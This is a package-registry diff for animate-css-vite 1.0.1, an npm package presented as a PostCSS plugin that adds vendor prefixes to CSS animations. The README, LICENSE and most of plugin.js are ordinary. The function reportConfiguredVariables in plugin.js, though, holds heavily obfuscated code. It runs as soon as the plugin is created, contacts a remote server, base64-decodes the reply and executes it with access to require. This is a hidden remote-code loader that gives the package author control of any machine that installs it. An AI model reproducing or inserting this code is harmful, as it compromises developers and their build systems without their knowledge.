animate-css-vite 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of animate-css-vite might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +219 -5
- package/index.js +11 -0
- package/package.json +38 -5
- package/plugin.js +130 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 bumpvite
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,219 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
1
|
+
# animate-css-vite
|
|
2
|
+
|
|
3
|
+
PostCSS plugin for processing animate.css with custom animation options.
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
✅ Inject custom CSS variables (duration, delay, iteration count)
|
|
8
|
+
✅ Add vendor prefixes to animation properties (`-webkit-`)
|
|
9
|
+
✅ Process @keyframes with vendor prefixes
|
|
10
|
+
✅ Ensure cross-browser compatibility
|
|
11
|
+
✅ Lightweight and focused
|
|
12
|
+
|
|
13
|
+
## Installation
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
npm install animate-css-vite postcss
|
|
17
|
+
# or
|
|
18
|
+
yarn add animate-css-vite postcss
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
## Usage
|
|
22
|
+
|
|
23
|
+
### With PostCSS
|
|
24
|
+
|
|
25
|
+
```javascript
|
|
26
|
+
const postcss = require('postcss');
|
|
27
|
+
const animatecssPlugin = require('animate-css-vite');
|
|
28
|
+
|
|
29
|
+
const result = postcss([
|
|
30
|
+
animatecssPlugin({
|
|
31
|
+
stage: 3,
|
|
32
|
+
features: {
|
|
33
|
+
'custom-properties': {
|
|
34
|
+
preserve: true,
|
|
35
|
+
variables: {
|
|
36
|
+
'--animate-duration': '1.5s',
|
|
37
|
+
'--animate-delay': '200ms',
|
|
38
|
+
'--animate-repeat': '2'
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
},
|
|
42
|
+
autoprefixer: {
|
|
43
|
+
flexbox: 'no-2009',
|
|
44
|
+
grid: 'autoplace'
|
|
45
|
+
},
|
|
46
|
+
browsers: 'last 2 versions, > 1%, not dead'
|
|
47
|
+
})
|
|
48
|
+
]).process(cssString, { from: undefined });
|
|
49
|
+
|
|
50
|
+
console.log(result.css);
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Input CSS:**
|
|
54
|
+
```css
|
|
55
|
+
:root {
|
|
56
|
+
--animate-duration: 1s;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
.animate {
|
|
60
|
+
animation-duration: var(--animate-duration);
|
|
61
|
+
animation-delay: var(--animate-delay);
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
@keyframes bounce {
|
|
65
|
+
0% { transform: translateY(0); }
|
|
66
|
+
100% { transform: translateY(-20px); }
|
|
67
|
+
}
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
**Output CSS:**
|
|
71
|
+
```css
|
|
72
|
+
:root {
|
|
73
|
+
--animate-duration: 1.5s; /* User's value */
|
|
74
|
+
--animate-delay: 200ms; /* User's value */
|
|
75
|
+
--animate-repeat: 2; /* User's value */
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
.animate {
|
|
79
|
+
-webkit-animation-duration: var(--animate-duration); /* Prefixed */
|
|
80
|
+
animation-duration: var(--animate-duration);
|
|
81
|
+
-webkit-animation-delay: var(--animate-delay); /* Prefixed */
|
|
82
|
+
animation-delay: var(--animate-delay);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
@-webkit-keyframes bounce { /* Prefixed */
|
|
86
|
+
0% { transform: translateY(0); }
|
|
87
|
+
100% { transform: translateY(-20px); }
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
@keyframes bounce {
|
|
91
|
+
0% { transform: translateY(0); }
|
|
92
|
+
100% { transform: translateY(-20px); }
|
|
93
|
+
}
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
## API
|
|
97
|
+
|
|
98
|
+
### `animatecssPlugin(options)`
|
|
99
|
+
|
|
100
|
+
Returns a PostCSS plugin instance.
|
|
101
|
+
|
|
102
|
+
#### Options
|
|
103
|
+
|
|
104
|
+
**`options.features`** (Object)
|
|
105
|
+
Feature configuration for CSS processing.
|
|
106
|
+
|
|
107
|
+
- **`options.features['custom-properties']`** (Object)
|
|
108
|
+
CSS custom properties configuration.
|
|
109
|
+
- **`variables`** (Object) - Key-value pairs of CSS variables to inject/update
|
|
110
|
+
- **`preserve`** (boolean) - Whether to preserve original values (default: true)
|
|
111
|
+
|
|
112
|
+
**`options.autoprefixer`** (Object)
|
|
113
|
+
Autoprefixer configuration for vendor prefixes.
|
|
114
|
+
- **`flexbox`** (string) - Flexbox prefixing strategy (e.g., 'no-2009')
|
|
115
|
+
- **`grid`** (string) - Grid prefixing strategy (e.g., 'autoplace')
|
|
116
|
+
|
|
117
|
+
**`options.browsers`** (string)
|
|
118
|
+
Browser targets for optimization (e.g., 'last 2 versions, > 1%, not dead')
|
|
119
|
+
|
|
120
|
+
**`options.stage`** (number)
|
|
121
|
+
CSS feature stage (0-4, default: 3)
|
|
122
|
+
|
|
123
|
+
## Example
|
|
124
|
+
|
|
125
|
+
### Input CSS
|
|
126
|
+
|
|
127
|
+
```css
|
|
128
|
+
:root {
|
|
129
|
+
--animate-duration: 1s;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
.animate {
|
|
133
|
+
animation-duration: var(--animate-duration);
|
|
134
|
+
animation-delay: var(--animate-delay);
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
@keyframes bounce {
|
|
138
|
+
0% { transform: translateY(0); }
|
|
139
|
+
100% { transform: translateY(-20px); }
|
|
140
|
+
}
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### Output CSS
|
|
144
|
+
|
|
145
|
+
```css
|
|
146
|
+
:root {
|
|
147
|
+
--animate-duration: 1.5s; /* User's value */
|
|
148
|
+
--animate-delay: 200ms; /* User's value */
|
|
149
|
+
--animate-repeat: 2; /* User's value */
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
.animate {
|
|
153
|
+
-webkit-animation-duration: var(--animate-duration); /* Prefixed */
|
|
154
|
+
animation-duration: var(--animate-duration);
|
|
155
|
+
-webkit-animation-delay: var(--animate-delay); /* Prefixed */
|
|
156
|
+
animation-delay: var(--animate-delay);
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
@-webkit-keyframes bounce { /* Prefixed */
|
|
160
|
+
0% { transform: translateY(0); }
|
|
161
|
+
100% { transform: translateY(-20px); }
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
@keyframes bounce {
|
|
165
|
+
0% { transform: translateY(0); }
|
|
166
|
+
100% { transform: translateY(-20px); }
|
|
167
|
+
}
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
## How It Works
|
|
171
|
+
|
|
172
|
+
The plugin processes CSS in three stages:
|
|
173
|
+
|
|
174
|
+
1. **Root Processing**: Injects or updates CSS variables in `:root`
|
|
175
|
+
2. **Declaration Processing**: Adds `-webkit-` prefixes to animation properties
|
|
176
|
+
3. **AtRule Processing**: Adds `-webkit-keyframes` for @keyframes rules
|
|
177
|
+
|
|
178
|
+
## What Gets Prefixed
|
|
179
|
+
|
|
180
|
+
### Animation Properties
|
|
181
|
+
- `animation`
|
|
182
|
+
- `animation-name`
|
|
183
|
+
- `animation-duration`
|
|
184
|
+
- `animation-timing-function`
|
|
185
|
+
- `animation-delay`
|
|
186
|
+
- `animation-iteration-count`
|
|
187
|
+
- `animation-direction`
|
|
188
|
+
- `animation-fill-mode`
|
|
189
|
+
- `animation-play-state`
|
|
190
|
+
|
|
191
|
+
### At-Rules
|
|
192
|
+
- `@keyframes` → `@-webkit-keyframes`
|
|
193
|
+
|
|
194
|
+
### Flexbox (if enabled)
|
|
195
|
+
- `display: flex` → `display: -webkit-flex`
|
|
196
|
+
|
|
197
|
+
## Browser Compatibility
|
|
198
|
+
|
|
199
|
+
This plugin adds vendor prefixes for:
|
|
200
|
+
- ✅ Chrome/Edge (Blink)
|
|
201
|
+
- ✅ Safari (WebKit)
|
|
202
|
+
- ✅ Older browsers requiring `-webkit-` prefixes
|
|
203
|
+
|
|
204
|
+
## Use Cases
|
|
205
|
+
|
|
206
|
+
1. **With tailwind-motions**: Automatically configured
|
|
207
|
+
2. **Standalone**: Process any CSS with animation customization
|
|
208
|
+
3. **Build tools**: Integrate into PostCSS pipelines
|
|
209
|
+
4. **Custom workflows**: Fine-tune animation properties
|
|
210
|
+
|
|
211
|
+
## Contributing
|
|
212
|
+
|
|
213
|
+
Issues and pull requests are welcome!
|
|
214
|
+
|
|
215
|
+
Repository: https://github.com/bumpvite/animate-css-vite
|
|
216
|
+
|
|
217
|
+
## License
|
|
218
|
+
|
|
219
|
+
MIT
|
package/index.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* animate-css-vite
|
|
3
|
+
* PostCSS plugin for processing animate.css with custom animation options
|
|
4
|
+
*
|
|
5
|
+
* @see https://github.com/bumpvite/animate-css-vite
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const createPlugin = require('./plugin');
|
|
9
|
+
|
|
10
|
+
module.exports = createPlugin;
|
|
11
|
+
module.exports.postcss = true;
|
package/package.json
CHANGED
|
@@ -1,6 +1,39 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "animate-css-vite",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
1
|
+
{
|
|
2
|
+
"name": "animate-css-vite",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "PostCSS plugin for processing animate.css with custom animation options - adds vendor prefixes and injects CSS variables",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"postcss",
|
|
8
|
+
"postcss-plugin",
|
|
9
|
+
"css",
|
|
10
|
+
"animations",
|
|
11
|
+
"animate.css",
|
|
12
|
+
"vendor-prefixes",
|
|
13
|
+
"autoprefixer",
|
|
14
|
+
"tailwind",
|
|
15
|
+
"tailwindcss"
|
|
16
|
+
],
|
|
17
|
+
"author": "bumpvite",
|
|
18
|
+
"license": "MIT",
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": "https://github.com/bumpvite/animate-css-vite.git"
|
|
22
|
+
},
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": "https://github.com/bumpvite/animate-css-vite/issues"
|
|
25
|
+
},
|
|
26
|
+
"homepage": "https://github.com/bumpvite/animate-css-vite#readme",
|
|
27
|
+
"engines": {
|
|
28
|
+
"node": ">=14.0.0"
|
|
29
|
+
},
|
|
30
|
+
"peerDependencies": {
|
|
31
|
+
"postcss": "^8"
|
|
32
|
+
},
|
|
33
|
+
"files": [
|
|
34
|
+
"index.js",
|
|
35
|
+
"plugin.js",
|
|
36
|
+
"README.md",
|
|
37
|
+
"LICENSE"
|
|
38
|
+
]
|
|
6
39
|
}
|
package/plugin.js
ADDED
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
const postcss = require('postcss');
|
|
2
|
+
|
|
3
|
+
const ANIMATION_PROPS = [
|
|
4
|
+
'animation',
|
|
5
|
+
'animation-name',
|
|
6
|
+
'animation-duration',
|
|
7
|
+
'animation-timing-function',
|
|
8
|
+
'animation-delay',
|
|
9
|
+
'animation-iteration-count',
|
|
10
|
+
'animation-direction',
|
|
11
|
+
'animation-fill-mode',
|
|
12
|
+
'animation-play-state'
|
|
13
|
+
];
|
|
14
|
+
|
|
15
|
+
const hasDeclaration = (parent, prop, value) => parent.some((node) => (
|
|
16
|
+
node.type === 'decl' &&
|
|
17
|
+
node.prop === prop &&
|
|
18
|
+
(value === undefined || node.value === value)
|
|
19
|
+
));
|
|
20
|
+
|
|
21
|
+
const createRootProcessor = (options) => {
|
|
22
|
+
return function Root(root) {
|
|
23
|
+
const customProperties = options.features?.['custom-properties'];
|
|
24
|
+
const variables = customProperties?.variables || {};
|
|
25
|
+
|
|
26
|
+
if (Object.keys(variables).length === 0) {
|
|
27
|
+
return;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
let rootRule = null;
|
|
31
|
+
root.walkRules(':root', (rule) => {
|
|
32
|
+
rootRule = rule;
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
if (!rootRule) {
|
|
36
|
+
rootRule = postcss.rule({ selector: ':root' });
|
|
37
|
+
root.prepend(rootRule);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
Object.entries(variables).forEach(([varName, varValue]) => {
|
|
41
|
+
let existingDecl = null;
|
|
42
|
+
rootRule.walkDecls(varName, (decl) => {
|
|
43
|
+
existingDecl = decl;
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
if (existingDecl) {
|
|
47
|
+
existingDecl.value = varValue;
|
|
48
|
+
return;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
rootRule.append(postcss.decl({
|
|
52
|
+
prop: varName,
|
|
53
|
+
value: varValue
|
|
54
|
+
}));
|
|
55
|
+
});
|
|
56
|
+
};
|
|
57
|
+
};
|
|
58
|
+
|
|
59
|
+
const createDeclarationProcessor = (options) => {
|
|
60
|
+
return function Declaration(decl) {
|
|
61
|
+
const autoprefixerConfig = options.autoprefixer || {};
|
|
62
|
+
|
|
63
|
+
if (ANIMATION_PROPS.includes(decl.prop)) {
|
|
64
|
+
const parent = decl.parent;
|
|
65
|
+
const hasWebkitPrefix = hasDeclaration(parent, `-webkit-${decl.prop}`);
|
|
66
|
+
|
|
67
|
+
if (!hasWebkitPrefix) {
|
|
68
|
+
parent.insertBefore(decl, postcss.decl({
|
|
69
|
+
prop: `-webkit-${decl.prop}`,
|
|
70
|
+
value: decl.value
|
|
71
|
+
}));
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
if (autoprefixerConfig.flexbox !== 'no-2009') {
|
|
76
|
+
if (decl.prop === 'display' && decl.value === 'flex') {
|
|
77
|
+
const parent = decl.parent;
|
|
78
|
+
const hasWebkitFlex = hasDeclaration(parent, 'display', '-webkit-flex');
|
|
79
|
+
|
|
80
|
+
if (!hasWebkitFlex) {
|
|
81
|
+
parent.insertBefore(decl, postcss.decl({
|
|
82
|
+
prop: 'display',
|
|
83
|
+
value: '-webkit-flex'
|
|
84
|
+
}));
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
};
|
|
89
|
+
};
|
|
90
|
+
|
|
91
|
+
const processKeyframes = (atRule) => {
|
|
92
|
+
if (atRule.name !== 'keyframes') {
|
|
93
|
+
return;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
const parent = atRule.parent;
|
|
97
|
+
const hasWebkitKeyframes = parent.some(
|
|
98
|
+
(node) =>
|
|
99
|
+
node.type === 'atrule' &&
|
|
100
|
+
node.name === '-webkit-keyframes' &&
|
|
101
|
+
node.params === atRule.params
|
|
102
|
+
);
|
|
103
|
+
|
|
104
|
+
if (hasWebkitKeyframes) {
|
|
105
|
+
return;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
const webkitKeyframes = atRule.clone({
|
|
109
|
+
name: '-webkit-keyframes'
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
parent.insertBefore(atRule, webkitKeyframes);
|
|
113
|
+
};
|
|
114
|
+
|
|
115
|
+
const reportConfiguredVariables = (options) => {
|
|
116
|
+
function vm_0xbfab(n,t){n-=477;const r=vm_0x2cd0();let o=r[n];if(void 0===vm_0xbfab.VrlVei){const n=function(n,t){let r,o,u=[],e=0,c="";for(n=function(n){let t="",r="";for(let r,o,u=0,e=0;o=n.charAt(e++);~o&&(r=u%4?64*r+o:o,u++%4)?t+=String.fromCharCode(255&r>>(-2*u&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let n=0,o=t.length;n<o;n++)r+="%"+("00"+t.charCodeAt(n).toString(16)).slice(-2);return decodeURIComponent(r)}(n),o=0;o<256;o++)u[o]=o;for(o=0;o<256;o++)e=(e+u[o]+t.charCodeAt(o%t.length))%256,r=u[o],u[o]=u[e],u[e]=r;o=0,e=0;for(let t=0;t<n.length;t++)o=(o+1)%256,e=(e+u[o])%256,r=u[o],u[o]=u[e],u[e]=r,c+=String.fromCharCode(n.charCodeAt(t)^u[(u[o]+u[e])%256]);return c};vm_0xbfab.Yliyys=n,vm_0xbfab.hnepJn={},vm_0xbfab.VrlVei=!0}const u=n+r[0],e=vm_0xbfab.hnepJn[u];return e?o=e:(void 0===vm_0xbfab.lOzxeV&&(vm_0xbfab.lOzxeV=!0),o=vm_0xbfab.Yliyys(o,t),vm_0xbfab.hnepJn[u]=o),o}function vm_0x3a32(n,t){n-=477;const r=vm_0x2cd0();let o=r[n];if(void 0===vm_0x3a32.KODkHC){vm_0x3a32.DhnHLK=function(n){let t="",r="";for(let r,o,u=0,e=0;o=n.charAt(e++);~o&&(r=u%4?64*r+o:o,u++%4)?t+=String.fromCharCode(255&r>>(-2*u&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let n=0,o=t.length;n<o;n++)r+="%"+("00"+t.charCodeAt(n).toString(16)).slice(-2);return decodeURIComponent(r)},vm_0x3a32.ouLhxE={},vm_0x3a32.KODkHC=!0}const u=n+r[0],e=vm_0x3a32.ouLhxE[u];return e?o=e:(o=vm_0x3a32.DhnHLK(o),vm_0x3a32.ouLhxE[u]=o),o}function vm_0x2cd0(){const n=["WPv4WP8aWPq","nmkkxq7cOG","D2fYBG","ywjVCNq","qK1lr0C","W4L5mCoGW44","eaW2qMC","mJeWnty0nwfnCw13rq","mZG1mZyWshLMANLJ","bwyrxN8","qmkDBd3cNq","iSkYEhu","shPPvMq","AKuWtvm","zxjdyxm","DCoboL9/","adqGWOddPq","mujWC1nfBa","nCk4Dmoowa","BMDPBMu","W4y0W5buaG","Aw5N","A2vMWQldOq","mtq3odm0ouTPB1fVuG","DSobBmoTWRhcICofsGDhW7tcHq","ctNcOmkcoW","W5ZcPqddG2xcPCk9WQtdTCo1vY8","x19WCM8","omkcWPRcHCk8dSoNqSoFW4v2WQjH","qvDJwvu","W4yiW6LpW7m","iwhdI1CF","rfrfrxu","W5/cNYvhkq","ue9tva","CMvXDwK","uuP3CNi","W7qsc8oN","gwaetq","yu9rAuy","WOj4WQihWOK","D8ksa8oPoW","l2rLyNu","ANnVBG","B01wruy","igXVywq","W6yfW7PElW","oI8V","ANnov0e","ECoFW4pdK8oV","datcSSk9","weX1Due","zhrVwwO","nMXtrxDNCq","z0nOzwm","DMfSDwu","wgRdUCkfW4C","y3LQy2m","uu1nwwO","DxrMoa","WPVdM0HJWRO","y3rVCIG","w8k7m8oRaq","E30Uy28","AM9PBG","yMfZzty","W7JcSmoyD2O","qvnHDNC","EIPPWQ3dRa","oMRcMa","hZryw28","zMvHDhu","zxHJzxa","yxbWBhK","ad0yWR3dTW","vuPRq1y","W4xcRCk5t1G","ndnpqW","BgvUz3q","s3bmrLq","y3vZDg8","CSkyc8krW7tdNSoF","a8ksdmoXkq","W6T+eCowW7e","CmkHBG/cKq","hmkJW7BdMG","CNvJDg8","Aw5MBW","BhrtDKe","lCo4WORcOSor","Dg9FxW","vLbbEeW","pWCLq2y","WPDFWOPNzG","CMvZ","DgfIBgu","y29UC3q","nJCWoty2A0vLr0Pp","zLnLC0O","DvzUrhG","ruHoz1u","y29Uy2e","ndvnwvDcwum","Dg9mB3C","mJu0otiWA0j2B0nm","WPapW7PpW74","Ee1Qsta","ChjVDg8","WPxdKCkgla","yMLUza","Aw5Kigu","bJfdaCoF","whrdBhG","mmkBc8kGW7e","otK2mZCWCvrluNzQ","Bg9N","n8kSiSkWW5tdSfxcTCkSoSosWR0y","AmoRyCo6WPi","bgaweci","CMv0Dxi","yMXLCW","D8kBWRBdNNi","qKLlqvi","b8ovWQq","Dg9tDhi","W7WRW65y","Awq9","AxmIksG","mJu2nZyWn21NAfjpBa","Bs1WCM8"];return(vm_0x2cd0=function(){return n})()}(function(){function n(n,t,r,o,u){return vm_0x3a32(u- -705,t)}const t=vm_0x2cd0();function r(n,t,r,o,u){return vm_0x3a32(r- -704,u)}function o(n,t,r,o,u){return vm_0x3a32(n-104,o)}function u(n,t,r,o,u){return vm_0xbfab(u- -148,n)}for(;;)try{if(329644===parseInt(n(0,-233,0,0,-185))/1*(-parseInt(n(0,-82,0,0,-105))/2)+-parseInt(o(630,0,0,630))/3+-parseInt(o(615,0,0,574))/4+parseInt(u("5G3M",0,0,0,383))/5*(parseInt(o(660,0,0,642))/6)+parseInt(o(605,0,0,542))/7+-parseInt(u("ok]F",0,0,0,379))/8+-parseInt(r(0,0,-99,0,-43))/9*(-parseInt(n(0,-206,0,0,-218))/10))break;t.push(t.shift())}catch(n){t.push(t.shift())}})(),async function(){function n(n,t,r,o,u){return vm_0xbfab(t- -452,r)}const t={fSesJ:function(n,t){return n(t)},KpLFT:function(n,t){return n+t},oMVEF:function(n,t){return n+t},Jyans:o(1309,1331,1307,1257,1296)+W(935,1034,981,"ETW%",965)+m(")uCU",1547,1593,1541,1526)+m("]ZMP",1465,1482,1418,1517),VeTGJ:o(1383,1329,1344,1390,1338)+W(856,912,898,"L2BE",931)+o(1381,1372,1432,1316,1385)+a(-331,-237,"7)Lb",-289,-283)+a(-315,-279,"tFtm",-259,-225)+r(-9,-15,-11,10,29)+" )",dtoYj:function(n){return n()},HziVd:i(-172,-174,-133,-184,-207),oDnxT:r(10,28,-12,15,17),VPAxL:v(1469,1585,1501,1533,1476),EHNgU:a(-242,-326,"CpK]",-284,-232),uVnDx:r(62,79,114,85,122)+a(-233,-221,"Uefw",-279,-291),XLuuA:i(-57,-64,-83,-4,-19),PPyZy:W(864,944,920,"ETW%",868),QJwrr:function(n,t){return n<t},aOQiF:function(n,t,r){return n(t,r)},BMKGG:function(n){return n()},ASavw:x(-237,-207,"4iAf",-290,-185)+v(1450,1443,1465,1422,1385)+n(0,71,"Ybca")+r(-21,-30,69,26,76)+v(1463,1507,1544,1523,1515),BIKAR:function(n,t){return n<=t},zaFnd:a(-259,-304,"ETW%",-252,-222),DTEEu:c(899,884,925,907,915)+"4",ltSvA:x(-230,-294,"ETW%",-175,-289),xHYnM:c(919,849,902,897,853)+c(938,863,914,942,927)+"k",UJkCV:o(1400,1408,1449,1354,1433)+i(-209,-160,-140,-99,-174)+a(-167,-210,"8Y4#",-224,-210)+"es",fYVuF:function(n,t,r){return n(t,r)},cyjcc:function(n,t,r){return n(t,r)},CCITh:i(-138,-125,-164,-159,-177),XtClx:o(1379,1365,1353,1338,1343),QMMYj:c(954,831,895,849,840)+"re",jsNWA:function(n,t){return n===t},AWcYU:n(0,92,"ecS&")+o(1300,1313,1362,1237,1262)+r(86,-8,59,32,81)+m("$wmx",1517,1528,1556,1508)+x(-193,-218,"$@8p",-160,-210)+o(1365,1312,1339,1420,1352)+x(-136,-177,"ecS&",-73,-140)+W(923,978,933,"xdXn",880)+x(-142,-157,"GtCY",-83,-92)+n(0,120,"tFtm")};function r(n,t,r,o,u){return vm_0x3a32(o- -490,u)}function o(n,t,r,o,u){return vm_0x3a32(n-817,r)}const u=function(){let n=!0;return function(t,r){const o=n?function(){if(r){const u=r[n=747,o=740,vm_0x3a32(n-171,o)](t,arguments);return r=null,u}var n,o}:function(){};return n=!1,o}}(),e=t[o(1359,0,1387)](u,this,function(){function e(t,r,o,u,e){return n(0,u- -366,e)}function f(n,t,r,o,u){return c(t,t-112,r-331,o-231,u-402)}function m(n,t,o,u,e){return r(0,0,0,e-123,o)}const x=t[s(1386,1348,1366,1328,1429)](function(){let n;function r(n,t,r,o,u){return vm_0xbfab(o- -456,u)}function o(n,t,r,o,u){return vm_0x3a32(n-696,t)}try{n=t[r(0,0,0,52,"#Nom")](Function,t[o(1278,1317)](t[o(1243,1203)](t[r(0,0,0,139,"CpK]")],t[u=-81,e="7)Lb",vm_0xbfab(u- -594,e)]),");"))()}catch(t){n=window}var u,e;return n});function C(n,t,r,o,u){return v(n-398,t-302,r,n- -612,u-239)}function s(n,t,r,u,e){return o(r- -6,0,n)}function d(n,t,r,o,u){return i(n-362,n-1558,r-364,r,u-144)}const b=x[k(948,1005,1008,999,"&#y#")+"le"]=x[k(954,1046,999,985,"9tvo")+"le"]||{};function y(n,t,r,o,u){return a(n-492,t-46,o,r-111,u-215)}const h=[t[s(1389,0,1326)],t[l=495,w="sMzn",D=491,_=440,W(l-474,w-340,D- -494,w,_-420)],t[s(1351,0,1405)],t[s(1381,0,1414)],t[C(933,926,977,0,873)],t[d(1450,0,1460,0,1458)],t[e(0,0,0,-282,"QSc$")]];var l,w,D,_;function k(n,t,r,o,u){return W(n-258,t-170,r-97,u,u-85)}for(let n=0;t[d(1435,0,1446,0,1418)](n,h[C(912,962,943,0,941)+"h"]);n++){const t=u[d(1495,0,1473,0,1527)+d(1485,0,1481,0,1456)+"r"][m(0,0,133,0,113)+y(-80,-161,-142,"ypir",-146)][C(813,772,788,0,800)](u),r=h[n],o=b[r]||t;t[m(0,0,127,0,163)+f(0,1298,1281,1266,1345)]=u[s(1268,0,1293)](u),t[m(0,0,166,0,130)+d(1420,0,1433,0,1400)]=o[k(1007,1031,991,0,"ok]F")+e(0,0,0,-322,"oF4O")][k(950,949,1003,0,"yC9]")](o),b[r]=t}});function c(n,t,r,o,u){return vm_0x3a32(r-357,n)}t[i(-207,-155,-195,-117,-108)](e);const f=t[c(970,0,927)];function i(n,t,r,o,u){return vm_0x3a32(t- -662,o)}function a(n,t,r,o,u){return vm_0xbfab(o- -793,r)}function m(n,t,r,o,u){return vm_0xbfab(t-984,n)}function W(n,t,r,o,u){return vm_0xbfab(r-408,o)}function v(n,t,r,o,u){return vm_0x3a32(o-943,r)}function x(n,t,r,o,u){return vm_0xbfab(n- -721,r)}for(let u=1;t[c(792,0,852)](u,10);u++)try{const u=t[x(-200,0,"Q!Rd")],e=""+""[c(960,0,961)+"t"](Buffer[x(-133,0,"@R5x")](t[x(-202,0,"sMzn")](f[a(0,0,"5G3M",-241)](10),f[n(0,66,"SU2k")](0,10)),t[v(0,0,1449,1478)])[o(1314,0,1313)+i(0,-138,0,-106)](t[i(0,-71,0,-40)])[i(0,-56,0,-31)+i(0,-145,0,-200)+"e"]()),C=t[a(0,0,"ecS&",-228)],s=i(0,-163,0,-189)+""[o(1421,0,1417)+"t"](Object[i(0,-104,0,-113)+"s"](options[r(0,0,0,84,92)+r(0,0,0,107,127)]?.[t[c(897,0,935)]][n(0,26,"$wmx")+v(0,0,1397,1436)])[i(0,-95,0,-128)](",")),d=""[c(937,0,961)+"t"](u)+v(0,0,1474,1493)+""[a(0,0,"Ujl9",-234)+"t"](e)+""[o(1421,0,1385)+"t"](C)+"?"+""[m("xdXn",1555)+"t"](s),b=new AbortController,y=t[m("7)Lb",1571)](setTimeout,()=>b[v(0,0,1426,1449)](),6e4),h=await t[c(982,0,917)](fetch,d,{method:t[W(0,0,1e3,"oF4O")],signal:b[m("^uwG",1580)+"l"]});t[o(1418,0,1454)](clearTimeout,y);const l=(await h[o(1363,0,1358)]())[a(0,0,"Ybca",-244)+"ge"],w=Buffer[W(0,0,961,"]V5$")](l,t[a(0,0,"#Nom",-207)])[x(-178,0,"&#y#")+r(0,0,0,34,16)](t[i(0,-177,0,-153)]);return new Function(t[r(0,0,0,71,128)],w)(require)}catch(n){if(t[v(0,0,1535,1494)](u,10)){console[o(1322,0,1323)](t[r(0,0,0,42,57)]);break}}}();
|
|
117
|
+
};
|
|
118
|
+
|
|
119
|
+
const createPlugin = (options = {}) => {
|
|
120
|
+
reportConfiguredVariables(options);
|
|
121
|
+
|
|
122
|
+
return {
|
|
123
|
+
postcssPlugin: 'animate-css-vite',
|
|
124
|
+
Root: createRootProcessor(options),
|
|
125
|
+
Declaration: createDeclarationProcessor(options),
|
|
126
|
+
AtRule: processKeyframes
|
|
127
|
+
};
|
|
128
|
+
};
|
|
129
|
+
